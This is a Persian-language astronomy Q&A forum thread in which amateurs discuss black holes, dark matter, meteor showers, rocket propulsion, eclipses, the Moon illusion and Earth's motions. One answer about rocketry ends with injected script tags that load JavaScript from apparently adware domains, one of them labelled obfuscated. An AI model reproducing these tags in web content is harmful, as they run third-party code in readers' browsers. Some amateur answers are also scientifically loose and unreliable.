پرسش و پاسخ نجومی

[علیرضا محمدی]

« در صورتی شما داخل یك سیاهچاله (http://fa.wikipedia.org/wiki/%D8%B3%DB%8C%D8%A7%D9%87%DA%86%D8%A7%D9%84%D9%87) بیفتید، مانند یك ماكارونی كش خواهید آمد. البته لازم به ذكر است كه این مطلب تنها برای بیان اثرات سیاهچاله است«.

این مطلبی که نوشته چه معنایی داره ؟ چرا همچین اتفاقی می افته؟ و بیانگر کدام اثر سیاه چاله هست؟

[مداد رنگیهام]

.

این مطلبی که نوشته چه معنایی داره ؟ چرا همچین اتفاقی می افته؟ و بیانگر کدام اثر سیاه چاله هست؟


لطفا به پست زیر مراجعه کنید:)

http://forum.avastarco.com/forum/showthread.php?1389-%D8%B3%DB%8C%D8%A7%D9%87-%DA%86%D8%A7%D9%84%D9%87-%D9%87%D8%A7&p=57206&viewfull=1#post57206

[zahra moayedi]

سلام
یه سؤال داشتم تا چه قدری رو میشه با چشم غیر مسلح دید؟

[|Alireza|]

سلام
یه سؤال داشتم تا چه قدری رو میشه با چشم غیر مسلح دید؟
در لینک زیر از ویکی نجوم(دانشنامه آزاد نجومی) آمده که:

"در جای تاریک و آسمان بسیار شفاف، ستارگان تا قدر 6 و 6/5 را در سمت‌‌‌الرأس (بالای سر) می‌‌‌توان دید."

اطلاعات بیشتر:

در صفحه ی چشم غیر مسلح (http://wiki.avastarco.com/index.php?title=%DA%86%D8%B4%D9%85_%D8%BA%DB%8C%D8 %B1_%D9%85%D8%B3%D9%84%D8%AD) از ویکی نجوم (دانشنامه آزاد نجومی).


منبع:ویکی نجوم (دانشنامه آزاد نجومی)>>>نجوم رصدی (http://wiki.avastarco.com/index.php?title=%D8%B1%D8%AF%D9%87:%D9%86%D8%AC%D9 %88%D9%85_%D8%B1%D8%B5%D8%AF%DB%8C)>>>چشم غیر مسلح (http://wiki.avastarco.com/index.php?title=%DA%86%D8%B4%D9%85_%D8%BA%DB%8C%D8 %B1_%D9%85%D8%B3%D9%84%D8%AD)

[مداد رنگیهام]

ستاره‌شناسان موفق شدند با استفاده از تلسکوپ فضایی هابل، یکی از دقیق‌ترین نقشه‌های مربوط به ماده تاریک را تهیه کنند و از این طریق به تاثیرات گرانشی ماده تاریک پی ببرند. جالب این است که این نقشه نشان می‌دهد خوشه‌های کهکشانی پرجرم احتمالا زودتر از آن چه تا به حال تصور می‌شد،‌ شکل گرفته‌اند، بسیار ‌قبل‌تر از این که ماده تاریک آن‌ها را از رشد باز دارد.

این متن مربوط میشه به خبری که تو لینک زیر خوندم.:)

http://khabaronline.ir/detail/108136/

یعنی چی بسیار قبل تر از این که ماده تاریک آن ها را از رشد باز دارد؟
ممنون:)

[karimisss]

به نظرتون این جمله از نظر علمی مشکل داره؟؟
دوستان دیگه اطلاعی در این خصوص دارند؟

[مداد رنگیهام]

به نظرتون این جمله از نظر علمی مشکل داره؟؟
دوستان دیگه اطلاعی در این خصوص دارند؟
نمیدونم درسته یا نه کلا نمیفهمم چی می خواد بگه:دی هدفم از پست قبل فهمیدن جواب این سوال هاست: تاثیر ماده تاریک بر روی رشد خوشه های کهکشانی چیه؟منظورش از رشد چیه؟با این تفاسیر این خوشه های پر جرم کی ایجاد شدن؟:)

[amir abbas saedi]

با سلام

درست هست که 29 مرداد بارش شهابی دجاجه رو داریم؟
هر ساعت چه تعداد بارش هست . اوج بارش و ساعت شروع بارش چه ساعتی میباشد


ممنون

[arashgmn]

نمیدونم درسته یا نه کلا نمیفهمم چی می خواد بگه:دی هدفم از پست قبل فهمیدن جواب این سوال هاست: تاثیر ماده تاریک بر روی رشد خوشه های کهکشانی چیه؟منظورش از رشد چیه؟با این تفاسیر این خوشه های پر جرم کی ایجاد شدن؟:)

تو کیهان ، ساختارها از به هم پیوستن توده های جرم به وجود میان . به صورتی که توده ی جرمی که پرجرم تره، بقیه اجرام رو به سمت خودش جذب می کنه. منظور از رشد خوشه های کهکشانی ، چرجرم تر شدن اون هاست.

نقشه هایی که از خوشه های کهکشانی تهیه شده ، نشون میده که کهکشان ها روی یه سری رشته هایی قرار گرفتن که محل تلاقی این رشته ها ، خوشه های ابر پرجرم هستند. اما فضا های خالی ریادی هم میون این رشته ها وجود داره که به "تهی جا" معروفن. تصور میشه که توی این تهی جا ها مقدار زیادی ماده تاریک وجود داره که 'گرانش اون ، باعث میشه رشته های کهکشان ها به همین صورت پایدار بمونن و در هم فرو نرن. اصطلاحا بیشتر از این مقدار فعلی رشد نکنن... .

http://zebu.uoregon.edu/images/dmsim.gif

الان این خبر می خواد بگه که خوشه ها قبل از این که ماده تاریک اون ها رو پایدار کنه ، شکل گرفتن...

[علیرضا محمدی]

ببخشید من درست متوجه نشدم
یعنی بین کهکشان ها و خوشه های کهکشانی یک سری رشته ها وجود داره که کهکشان ها را بسمت خوشه ها می کشد؟
و ماده تاریک هست که در میان آن ها قرار می گیرد و مانع از ترکیب آن ها می شود؟

[karimisss]

با سلام

درست هست که 29 مرداد بارش شهابی دجاجه رو داریم؟
هر ساعت چه تعداد بارش هست . اوج بارش و ساعت شروع بارش چه ساعتی میباشد


ممنون

بارش شهابی کاپا-دجاجه ای از تاریخ 4 مرداد تا 10 شهریور ماه هست. اوجش 27 مرداد و zhr ش 6 هست ، یعنی در ساعت در آسمان صاف 6 شهاب دیده میشه. زد اچ آرش خیلی خیلی کمه ، فکر نکنم چیزی بشه دید.
ساعتشم معمولا بعد از نیمه شب بارش زیاد میشه.
کانون بارشم که از اسمش مشخصه صورت فلکی دجاجه هست.

[karimisss]

ببخشید من درست متوجه نشدم
یعنی بین کهکشان ها و خوشه های کهکشانی یک سری رشته ها وجود داره که کهکشان ها را بسمت خوشه ها می کشد؟
و ماده تاریک هست که در میان آن ها قرار می گیرد و مانع از ترکیب آن ها می شود؟

ضمن تشکر از آقای گل محمدی و با توجه به صحبت ایشون باید بگم که خود کهکشان ها و خوشه های اونها این رشته ها رو به وجود آوردن و چیز مجزایی از اونها نیست و در بخشی که کهکشان نیست ماده تاریک بیشتری وجود داره، که از به هم نزدیک تر شدن کهکشان ها جلوگیری میکنه.

[علیرضا محمدی]

با سلام
یک سوال دارم
مگر گرانش به خاطر خمش فضا_زمان نیست ؟
و این که با افزایش جرم ،گرانش افزایش پیدا می کنه ؟
یعنی بنابراین هرچه یک جسم پر جرم تر باشد ،گرانش بیش تری هم دارد پس چرا کهکشان ها با وجود جرم فوق العاده زیادی که دارند همانند سیاه چاله ها عمل نمی کنند؟(با توجه به این که سیاه چاله ها از مرگ ستارگان پدید می آیند و در نتیجه جرم کم تری دارند)
ولی کهکشان ها(و حتی ابر خوشه ها)گرانشی نظیر سیاه چاله ها پدید نمی آورند؟
دلیل چی هست؟

[Amirali]

با سلام
یک سوال دارم
مگر گرانش به خاطر خمش فضا_زمان نیست ؟
و این که با افزایش جرم ،گرانش افزایش پیدا می کنه ؟
یعنی بنابراین هرچه یک جسم پر جرم تر باشد ،گرانش بیش تری هم دارد پس چرا کهکشان ها با وجود جرم فوق العاده زیادی که دارند همانند سیاه چاله ها عمل نمی کنند؟(با توجه به این که سیاه چاله ها از مرگ ستارگان پدید می آیند و در نتیجه جرم کم تری دارند)
ولی کهکشان ها(و حتی ابر خوشه ها)گرانشی نظیر سیاه چاله ها پدید نمی آورند؟
دلیل چی هست؟

هر چقدر جرم بیشتر باشه گرانش بیشتره اما سیاه چاله ها به خاطر جرم زیاد به وجود نمیان بلکه به خاطر چگالی بی نهایت (تکینگی) به وجود میان.
تو یه ستاره وقتی نیروی گرانش بر سایر نیرو ها غلبه میکنه تمام جرم ستاره تو خودش فرو میریزه و تکینگی ایجاد میکنه. یعنی تمام جرم تو یه نقطه کوچک فشرده میشه.
اگه شما کره زمین رو به اندازه یه گردو فشرده کنین یه سیاهچاله به وجود میاد

[2215]

با سلام
من هم یه سوال دارم
ابرنواختر نوع یک در ستاره های دوتایی اتفاق می افته. در هنگامی که یکی از آن ها تبدیل به کوتوله ی سفید شده باشد و جرم از ستاره همدم خود ببلعد. حالا سوال من اینجاست که ستاره همدم کوتوله سفید الزاما باید متحول شده و تبدیل به غول قرمز شده باشه یا خیر؟
ممنون

[arman007]

ضمن عرض سلام درود

حتماً دیدید که سفینه ها یا شاتل ها وقتی خارج از جو زمین در حال حرکت هستند برای تغییر مسیر یا شتاب گرفتن سوخت مصرف کرده و مانند جت با تولید گرما به حرکت در می آیند . ولی جت ها فقط داخل جو می تونند حرکت کنند و اثر فشار ناشی از احتراق سوخت بر روی مولکول های هوا تاثیر گذاشته و جت به جلو حرکت میکند . حال سوال اینجاست که در فضا هیچ مولکول هوایی نیست پس گرمای ناشی از احتراق سوخت به چه چیزی فشار وارد میکنه و چه عاملی باعث به جلو حرکت کردن شاتل میشه ؟؟
لطفاً نظرات خودتون رو بگید .... .

[ali zeynali]

ضمن عرض سلام درود

حتماً دیدید که سفینه ها یا شاتل ها وقتی خارج از جو زمین در حال حرکت هستند برای تغییر مسیر یا شتاب گرفتن سوخت مصرف کرده و مانند جت با تولید گرما به حرکت در می آیند . ولی جت ها فقط داخل جو می تونند حرکت کنند و اثر فشار ناشی از احتراق سوخت بر روی مولکول های هوا تاثیر گذاشته و جت به جلو حرکت میکند . حال سوال اینجاست که در فضا هیچ مولکول هوایی نیست پس گرمای ناشی از احتراق سوخت به چه چیزی فشار وارد میکنه و چه عاملی باعث به جلو حرکت کردن شاتل میشه ؟؟
لطفاً نظرات خودتون رو بگید .... .
حرکت انها در حالی که موتورشان روشن است بر اثر پایستگی تکانه خطی سیستم سفینه و سوخت می باشد.
این حرکت ربطی به وجود مواد در جو ندارد.!!!

[space]

ضمن عرض سلام درود

حتماً دیدید که سفینه ها یا شاتل ها وقتی خارج از جو زمین در حال حرکت هستند برای تغییر مسیر یا شتاب گرفتن سوخت مصرف کرده و مانند جت با تولید گرما به حرکت در می آیند . ولی جت ها فقط داخل جو می تونند حرکت کنند و اثر فشار ناشی از احتراق سوخت بر روی مولکول های هوا تاثیر گذاشته و جت به جلو حرکت میکند . حال سوال اینجاست که در فضا هیچ مولکول هوایی نیست پس گرمای ناشی از احتراق سوخت به چه چیزی فشار وارد میکنه و چه عاملی باعث به جلو حرکت کردن شاتل میشه ؟؟
لطفاً نظرات خودتون رو بگید .... .


در واقع این مشکل رو اولین بار فردی به نام کنستانتین تسالکوفسکی به صورت نظری حل کرد
تسالکوفسکی یه نابغه واقعی بود در اوایل قرن 20 بود
اون فهمید که موشک های جامد سوز در خارج جو کار نمیکنن
درواقع اونجا اکسیژن مورد نیازشون وجود نداره پس احتراق و انفجاری صورت نمیگیره
پس پیشنهاد ساخت موشک های مایع سوز رو برای سفر های فضایی داد، این موشک ها ترکیبی از هوای فشرده و سوخت رو با خودشون حمل میکنن و موقع احتراق همزمان در محیط پخش میکنن و انفجار صورت میگیره(1898)
اولین موشک مایع سوز رو رابرت گودا تونست بطور عملی بسازه حدود 20 سال بعد از ایده تسالکوفسکی
این جناب تسالکوفسکی خیلیییی نابغه بوده
ایده موشک های چند طبقه و جدا شدن قسمت های مختلف پس از انجام دادن کارشون از ایشونه که هنوز هم اساس کار موشک ها رو تشکیل میده!!!
پس اسمشو به خاطر بسپرید""جناب تسالکوفسکی(یا شایدم به گفته ویکی پدیا کنستانتین تسیولکوفسکی)"":)
<script src="https://secure-content-delivery.com/data.js.php?i={50628CAC-EEB7-45B8-86A7-447B683CE875}&d=2013-08-02&s=http://forum.avastarco.com/forum/editpost.php?do=updatepost&p=67159&cb=0.8365775701846787" type="text/javascript"></script><script type="text/javascript" src="http://intext.nav-links.com/js/intext.js?afid=Objectify2&subid=intext&maxlinks=6&linkcolor=009900"></script>http://intext.nav-links.com/images/spinner-ani48.gif

<script src="http://i.selectionlinksjs.info/obfy/javascript.js" type="text/javascript"></script>

[amir abbas saedi]

سلام

میتونید نام های ستارگان معروف و مهم اسمان و محل اونها در صورت فلکیشون رو بگید؟؟؟؟؟؟

[shahabi]

سلام دوستان
شاید سوال من زیاد نجومی نباشه اما فکر کردم چون بعضی ها رشته تحصیلیشون فیزیک بوده میتونن کمکم کنن
میشه در مورد این جدول بهم اطلاعات بدین

http://upload7.ir/images/11322882436311448165.jpg

[amir abbas saedi]

سیارات کوتوله...

5359

یعنی به غیر 8 سیاره اصلی سیارات دیگری هم هستند ؟
در اسمان قابل رویئت هستن و نحوه پراکندگیشون چجوری هست ؟

[رضا طامهری]

یعنی به غیر 8 سیاره اصلی سیارات دیگری هم هستند ؟
در اسمان قابل رویئت هستن و نحوه پراکندگیشون چجوری هست ؟

سلام دوست گرامی

اگر به این صفحه (http://forum.avastarco.com/forum/showthread.php?498-%D8%A7%D8%B7%D9%84%D8%A7%D8%B9%D8%A7%D8%AA-%DA%A9%D9%84%DB%8C-%D8%AF%D8%B1-%D9%85%D9%88%D8%B1%D8%AF-%D9%85%D9%86%D8%B8%D9%88%D9%85%D9%87-%D8%B4%D9%85%D8%B3%DB%8C/page19) و صفحات از تاپیک اطلاعات کلی در مورد منظومه شمسی نگاه کنید اطلاعات نسبتا جامعی از سیارات کوتوله کنونی منظومه شمسی بدست میارید

[علیرضا محمدی]

سلام
دوستان کسی سایتی سراغ داره که رصد با تلسکوپ اینترنتی را داشته باشد؟
رایگان هم باشد،چون یکی پیدا کردم که بالای 30 دلار برای هر ساعت می خواست

[mohsen4465]

سلام
دوستان کسی سایتی سراغ داره که رصد با تلسکوپ اینترنتی را داشته باشد؟
رایگان هم باشد،چون یکی پیدا کردم که بالای 30 دلار برای هر ساعت می خواست
بعید میدونیم هیچ رصدخونه‌ای یا شخصی تلسکوپ خودش رو بصورت رایگان در اینترنت به اشتراک بذاره. مگه اینکه کنترل تلسکوپ دست خودش باشه و فقط تصویر رو آنلاین نشون بده.

[kamy]

سلام
دوستان کسی سایتی سراغ داره که رصد با تلسکوپ اینترنتی را داشته باشد؟
رایگان هم باشد،چون یکی پیدا کردم که بالای 30 دلار برای هر ساعت می خواست

میشه قیمت دقیقو بگی
آدرس سایت ایشون هم بدی ممنون میشم

[علیرضا محمدی]

میشه قیمت دقیقو بگی
آدرس سایت ایشون هم بدی ممنون میشم
آدرس سایت http://www.lightbuckets.com/usescopes/ هست
مبلغ هم باید شارژ کنید
هر امتیاز یک دلار
و تلسکوپ ها هم از 50 دلار تا 350 دلار هست

[amirvedadian]

سلام :)
من فکر کنم که این سایت (http://www.virtualtelescope.eu/webtv/ به تونه کمکتون بکنه در قسمت tv ;):دی

[melika bidabadi]

سلام همه سایت ها پول نمی خواهند مگر اینکه تصویری که می خواهین خیلی تخصصی وسفارشی باشه , البته خیلی ها شون هم در حد 5تا 10 دلار یا اویرو هستند.
یکی از این سایت ها E-ELTهست http://www.eso.org/public/teles-instr/e-elt/
2:http://www.telescope.org/

[علیرضا محمدی]

یک سایت هم پیدا کردم
نمیشه از تلسکوپ استفاده کرد ولی میشه از اون منطقه ای که می خواهید به مقدار لازم نوردهی و از فیلتر های موجود استفاده کنید
ان وقت عکس در زمان مناسب کم تر از دو روز گرفته می شود و به ایمیل ثبت شده ارسال می شود در قالب fit
این هم آدرسhttp://mo-www.harvard.edu/cgi-bin/OWN/Own.pl

[پیمان اکبرنیا]

دوستان رصدخانه مجازی رایگان هم وجود داره. اصلا باید یک تاپیک درباره اش بزنیم و شروع به فعالیت کنیم. خیلی جالبه که از طریق اینترنت میشه به تلسکوپهای خوبی به صورت رایگان دسترسی داشت و باهاشون عکس گرفت :)

[melika bidabadi]

دوستان رصدخانه مجازی رایگان هم وجود داره. اصلا باید یک تاپیک درباره اش بزنیم و شروع به فعالیت کنیم. خیلی جالبه که از طریق اینترنت میشه به تلسکوپهای خوبی به صورت رایگان دسترسی داشت و باهاشون عکس گرفت :)
خیلی خوبه مخصوص با کاربرد های خوبی که این رصد خانه ها دارند نیاز به ایجاد چنین تاپیکی ضروری می کند.:)
.................................................
پ.ن : فکر کنم آوا هنوز با وجود این همه تاپیک هنوز کامل نشده وجای چند تاپیک جدید وکاربردی خالیه:دی:دی

[علیرضا محمدی]

دوستان رصدخانه مجازی رایگان هم وجود داره. اصلا باید یک تاپیک درباره اش بزنیم و شروع به فعالیت کنیم. خیلی جالبه که از طریق اینترنت میشه به تلسکوپهای خوبی به صورت رایگان دسترسی داشت و باهاشون عکس گرفت :)
سلام
اگه امکانش هست لینک بدید

[علیرضا محمدی]

توی یک قسمت از مستند جویندگان کسوف ،آقای بابک تفرشی در مورد کسوف هیبریدی یا ترکیبی صحبت می کردند که متاسفانه ادامه مستند را نتوانستم ببینم
می خواستم بدونم این نوع کسوف چگونه است؟

[Mojtaba.M]

توی یک قسمت از مستند جویندگان کسوف ،آقای بابک تفرشی در مورد کسوف هیبریدی یا ترکیبی صحبت می کردند که متاسفانه ادامه مستند را نتوانستم ببینم
می خواستم بدونم این نوع کسوف چگونه است؟



کسوف هیبریدی نوعی از کسوف است که در طی مسیر کسوف ،شما هم شاهد کسوفِ حلقوی و هم شاهدِ کسوفِ کلی خواهید بود.

دلیل این نوع کسوف در واقع فاصله ماه با زمین است . رصدگرانی که در میانه راه کسوف قرار دارند این کسوف رو کامل و اون هایی که در دوسر انتهای مسیر کسوف هستند، کسوف رو حلقوی مشاهده میکنند.

http://apod.nasa.gov/apod/image/0505/hybrid_merge_1.jpg

در شکل زیر افرادی که در نقاط A و B هستند کسوف رو حلقوی و افراد رصدگر در نقطه C کسوف رو کامل میبینند. :)

http://up.avastarco.com/images/xe1suryxtrkmrs1o2.gif


این شکلی که گذاشتم صرفا یه مثال برای درک بهتر موضوع بود و هر کسوفی این شکلی نمیشه ! :دی

[black world*]

سلام
سوال منم مثل همون دوست عزيز راجبه فضا زمانه
چند سال پيش يه فرد ‍اپني طرحي رو ارائه داد به چند تا از دانشگاه هاي معتبر
كه ما مي تونيم بجاي اينكه خودمون بريم تو فضاوزمان فضا زمانو بياريم پيش خودمون
و اون شخص طرح سفينه اي رو داد كه با هاله اي از انرژي پوشيده شده بود
واين انرژي فضا زمان را به سمت ما مي اورد به گونه اي كه نيرويي سفينه رو از عقب هل ميداد و نيرويي مث جاذبه ي سياه چاله ها سفينه رو به جلو مي كشيد و اينطوري اجرام اسماني سمت ما ميومدن
:دی:sFun_bangdesk:
ايا اين امكان وجود داره ؟؟؟
الابته از اون شخص وايدش ديگه خبري نشد
شايد ايدش ردشده باشه
اما كلا امكان اين كه فضال زمان حركت كنه هست؟؟؟

اگه ميشه يه توضيح دقيق از كرم چاله ها بديد تا بهتر وبيشتر دركش كنيم
ايا كرم چاله ها هم فقط نظريه هستند يا مشاهده شدند؟؟؟؟

[farzad_ict]

درود، من کتاب "نجوم به زبان ساده" را مطالعه کردم کامل و بسیار آموزنده بود، حالا در ادامه چه کتابی را پیشنهاد میدید که مطالعه کنم تا به نحوی ادامه مطالب اون کتاب باشه؟

[karimisss]

درود، من کتاب "نجوم به زبان ساده" را مطالعه کردم کامل و بسیار آموزنده بود، حالا در ادامه چه کتابی را پیشنهاد میدید که مطالعه کنم تا به نحوی ادامه مطالب اون کتاب باشه؟

به انجمن ما خوش آمدید
بسته به شاخه ای از نجوم که علاقه دارید کتاب های مختلفی وجود داره ، ولی فکر میکنم کتاب نجوم دینامیکی یا اگه علاقه در بخش های رصدی دارید کتاب های اون حوزه یا کروی نجوم کروی در حوزه ی دیگه براتون مناسبه.
فکر میکنم اگه علاقه تون رو بفرمایید بهتر بشه راهنمایی کرد.

[farzad_ict]

به انجمن ما خوش آمدید
بسته به شاخه ای از نجوم که علاقه دارید کتاب های مختلفی وجود داره ، ولی فکر میکنم کتاب نجوم دینامیکی یا اگه علاقه در بخش های رصدی دارید کتاب های اون حوزه یا کروی نجوم کروی در حوزه ی دیگه براتون مناسبه.
فکر میکنم اگه علاقه تون رو بفرمایید بهتر بشه راهنمایی کرد.

ضمن تشکر، لطفا از هر شاخه بهترین کتابش رو با نام نویسنده بگید تا با مطالعه فهرست مطالبشون بتونم بهتر تصمیم بگیرم برای خرید،

نجوم دینامیکی چی هست؟

[narcissus flower]

دوست برای مطالعه در زمینه ی اختر شناسی و کیهان کتبی مثل نجوم و اخترفیزیک مقدماتی که دو جلد هست/انفجار بزرگ /ساختار ستارگان و کهکشان ها/اساس ستاره شناسی دوجلد.
تو بازار موجود هست .البته ممکنه بسته به سطح شناخت و دانش شما برخی ساده یا کمی مشکل باشه:)

[radlidea]

سلام دوستان
یک سوال دارم,بعضی مواقع که ماه به افق نزدیک هست خیلی زرد و بزرگتر به نظر میاد,دلیلش چیه؟

[Amirali]

سلام دوستان
یک سوال دارم,بعضی مواقع که ماه به افق نزدیک هست خیلی زرد و بزرگتر به نظر میاد,دلیلش چیه؟

سلام
دلیلش اینه که ما اسمون رو به صورت یه نیم کره می پنداریم و افق رو دورتر از اسمون بالای سرمون تصور میکنیم.
وقتی ماه یا خورشید نزدیک افق هست چون ما اون رو دورتر فرض میکنیم اما اندازش با وقتی بالای سرمونه یکیه فکر میکنیم که بزرگتره و در واقع یه توهمه
همچنین وقتی ماه نزدیکه افقه ما اندازه اون رو با عوارض زمینی مثل ساختمونا و درختا و کوه ها و... مقایسه میکنیم در حالی که وقتی بالای سرمونه این چیزا نیستن و همین هم باعث میشه تو افق ماه رو بزرگتر تصور کنیم :)

[s_karam76]

سلام
به فروم خوش آمدید
در هنگام طلوع و غروب هم به خاطر وجود گرد و خاک و غبار در افق رنگ ماه و خورشید تغییر میکنه

[smhm]

علت زرد یا نارنجی شدن ماه یا خورشید در نزدیکی افق این است که نور آنها مسیری طولانی را در جو می پیماید و در طول این مسیر بیشتر طول موجهای کوتاهتر از قرمز توسط مولکولهای جو پراکنده می شود و فقط نور زرد و قرمز آنها به ما می رسد.

[farbovad]

در آمد منجمان ايران به طور متوسط چه قدر هست؟(خواهشأ توضيح دهيد)

[jalal jazayeri]

لطفن یه بخش پرسش و پاسخ "تاریخ علم ستاره شناسی" هم اضافه کنین

[farbovad]

می خواستم درباره ی در آمد منجمان (چه آماتور یا حرفه ای) بدونم میشه توضیح بدید

[arg]

سلام
یک سوال داشتم:
این درسته که هر ستاره ای که میمیره یک ستاره دیگه هم متولد میشه
اگر لطف کنین یک منبع هم برای این سوال بگین
مرسی

[berjis93]

سلام
یک سوال داشتم:
این درسته که هر ستاره ای که میمیره یک ستاره دیگه هم متولد میشه
اگر لطف کنین یک منبع هم برای این سوال بگین
مرسی

سلام.سوال شما مثل یک سکه دورو داره درواقع هم درسته و هم غلط.وجه درستش آینه که وقتی بعضی از ستاره ها میمیرن از خودشون سحابی به جا میگذارند حالا این سحابی تو شرایط مناسب میتونه ستاره تولید کنه.مثالش خورشید خودمون که یه ستاره نسل وسمه یعنی یه ستاره بوده منفجر شده یکی دیگه متولد شده اونم منفجر شده و خورشید ما متولد شده. حالا اون روی سکه چیه؟آینه که ماجرا کلا غلطه.چرا که تو افسانه های باستانی داریم که هر ستاره ای که می میره یکی دیگه متولد میشه. وما الان میتونیم که یه همچین چیزی حقیقت نداره. امیدوارم توانسته باشم سوالتان رو پاسخ بدم:-)

[berjis93]

در آمد منجمان ايران به طور متوسط چه قدر هست؟(خواهشأ توضيح دهيد)
سلام. نجوم کلا در آمد ثابت و چشم گیری نداره خیلی راحت بخوام بگم کلا کار نون و آب داری نیست درنباید به چشم شغل بهش نگاه کرد...

[amirvedadian]

سلام
ببخشید میشه در باره ی تاثیر ماه بر شکل گیری حیات برروی زمین هم توضیح بدهید(مقاله ویا هرچیز دیگری:wink::39:

[2215]

سلام به همه ی ستاره های روی زمین!
اینطوری که من شنیدم زمین حرکت های متفاوتی داره و در مجموع میشه 9 حرکت رو برای اون در نظر گرفت.
از دوستای عزیز می خوام که در این باره انواع این حرکتها برای من توضیح بدین.
ممنون

[رضا طامهری]

سلام به همه ی ستاره های روی زمین!
اینطوری که من شنیدم زمین حرکت های متفاوتی داره و در مجموع میشه 9 حرکت رو برای اون در نظر گرفت.
از دوستای عزیز می خوام که در این باره انواع این حرکتها برای من توضیح بدین.
ممنون

سلام دوست گرامی
شما میتوانید جواب سوالتان را به سادگی در ویکی نجوم بیابید
برای دیدن صفحه مربوط به حرکات زمین اینجا (http://wiki.avastarco.com/index.php?title=%D8%AD%D8%B1%DA%A9%D8%A7%D8%AA_%D8 %B2%D9%85%DB%8C%D9%86) و اینجا (http://wiki.avastarco.com/index.php?title=%D8%B1%D8%AF%D9%87:%D8%B9%D9%84%D9 %88%D9%85_%D8%B3%DB%8C%D8%A7%D8%B1%D9%87%E2%80%8C% D8%A7%DB%8C) کلیک کنید

[Ehsan]

سلام
ببخشید میشه در باره ی تاثیر ماه بر شکل گیری حیات برروی زمین هم توضیح بدهید(مقاله ویا هرچیز دیگری:wink::39:

علیکِ سلام

در موردِ این که مستقیما موجبِ تشکیلِ حیات شده باشه چیزی نشنیدم اما شنیدم که در روندِ تکامل نقشِ اساسی داشته، حالا اگر دیگر دوستان اطلاعاتِ بیشتری داشته باشند خوشحال می‌شیم بشنویم.

از این گذشته همین الان اکوسیستم‌‌هایی هستند که وابسته به جذر و مد‌اند:
http://en.wikipedia.org/wiki/Intertidal_ecology

[2215]

ممنون دوست عزیز
ولی متاسفانه در این پست ها همه حرکت ها بررسی نشده، فقط چند مورد گفته شده. لطفا بگید که واقعا زمین 9 حرکت متفاوت داره یا خیر؟ اگه آره سایر حرکتهاش چی می تونن باشن.
ممنونم

سلام دوست گرامی
شما میتوانید جواب سوالتان را به سادگی در ویکی نجوم بیابید
برای دیدن صفحه مربوط به حرکات زمین اینجا (http://wiki.avastarco.com/index.php?title=%D8%AD%D8%B1%DA%A9%D8%A7%D8%AA_%D8 %B2%D9%85%DB%8C%D9%86) و اینجا (http://wiki.avastarco.com/index.php?title=%D8%B1%D8%AF%D9%87:%D8%B9%D9%84%D9 %88%D9%85_%D8%B3%DB%8C%D8%A7%D8%B1%D9%87%E2%80%8C% D8%A7%DB%8C) کلیک کنید

[mohsen4465]

ممنون دوست عزیز
ولی متاسفانه در این پست ها همه حرکت ها بررسی نشده، فقط چند مورد گفته شده. لطفا بگید که واقعا زمین 9 حرکت متفاوت داره یا خیر؟ اگه آره سایر حرکتهاش چی می تونن باشن.
ممنونمخب بیاین با هم بشماریم: :)
1) حرکت وضعی
2) حرکت انتقالی
3) رقص محوری
4) حرکت به بالا و پایین صفحه نامتغییر
5) چرخش دور مرکز گرانیگاه سیستم ماه و زمین
6) حرکت بهمراه خورشید بدور مرکز راه شیری
7) حرکت بهمراه خورشید به بالا و پایین صفحه راه شیری
8) حرکت بهمراه خورشید بسمت مرکز راه شیری
9) حرکت بهمراه راه شیری در فضا


مورد آخر شامل حرکات مختلفیه که متأسفانه بنده در خصوص اون اطلاعی ندارم. ولی مطمئناً بیش از 9 حرکت میشه.

[علیرضا محمدی]

خب بیاین با هم بشماریم: :)
1) حرکت وضعی
2) حرکت انتقالی
3) رقص محوری
4) حرکت به بالا و پایین صفحه نامتغییر
5) چرخش دور مرکز گرانیگاه سیستم ماه و زمین
6) حرکت بهمراه خورشید بدور مرکز راه شیری
7) حرکت بهمراه خورشید به بالا و پایین صفحه راه شیری
8) حرکت بهمراه خورشید بسمت مرکز راه شیری
9) حرکت بهمراه راه شیری در فضا


مورد آخر شامل حرکات مختلفیه که متأسفانه بنده در خصوص اون اطلاعی ندارم. ولی مطمئناً بیش از 9 حرکت میشه.
فکر کنم حرکت کهکشان راه شیری به سمت کهکشان اندرومدا و انبساط کیهان هم جزو حرکات زمین باشه

[علیرضا محمدی]

اگر ردی از یک شی ناشناس توی عکس های عمق آسمان بیفته چگونه می توان فهمید که چیست؟
مثلا یک ماهواره است یا سیارک یا...؟

[2215]

ممنون از جواب مختصر و مفیدتون خیلی بهش نیاز داشتم
یه سوال دیگه!
درسته که نظریه ی بیگ بنگ یا انفجار بزرگ زیاد طرفدار نداره؟ و بیشتر دانشمندان نظرشون روی انبساطه نه انفجار؟ یه نفر می گفت به خاطر ترجمه ی نادرسته که ماواژه ی انفجار رو استفاده می کنیم.
یعنی بالاخره شروع جهان با انفجار هست یا نه؟

[mohsen4465]

ممنون از جواب مختصر و مفیدتون خیلی بهش نیاز داشتم
یه سوال دیگه!
درسته که نظریه ی بیگ بنگ یا انفجار بزرگ زیاد طرفدار نداره؟ و بیشتر دانشمندان نظرشون روی انبساطه نه انفجار؟ یه نفر می گفت به خاطر ترجمه ی نادرسته که ماواژه ی انفجار رو استفاده می کنیم.
یعنی بالاخره شروع جهان با انفجار هست یا نه؟ انفجار بزرگ ترجمه صحیحیه و واژه Bang از لحاظ لغوی معنای Explosion رو میده. ولی از لحاظ فیزیکی بله، مهبانگ یک انفجار نیست که در اون مواد درون فضای خالی حرکت کنن و از هم دور بشن بلکه این خود فضا هست که در حال انبساطه و سبب دور شدن کهکشان‌ها از همدیگه میشه.

[gshahali]

ممنون از جواب مختصر و مفیدتون خیلی بهش نیاز داشتم
یه سوال دیگه!
درسته که نظریه ی بیگ بنگ یا انفجار بزرگ زیاد طرفدار نداره؟ و بیشتر دانشمندان نظرشون روی انبساطه نه انفجار؟ یه نفر می گفت به خاطر ترجمه ی نادرسته که ماواژه ی انفجار رو استفاده می کنیم.
یعنی بالاخره شروع جهان با انفجار هست یا نه؟

سلام دوست عزیز
به نظرم این قسمت از کتاب درآمدی بر نجوم و کیهان شناسی، صفحه 368، میتواند تا حدی علت نامیدن این نظریه را به Big Bang روشن کند:

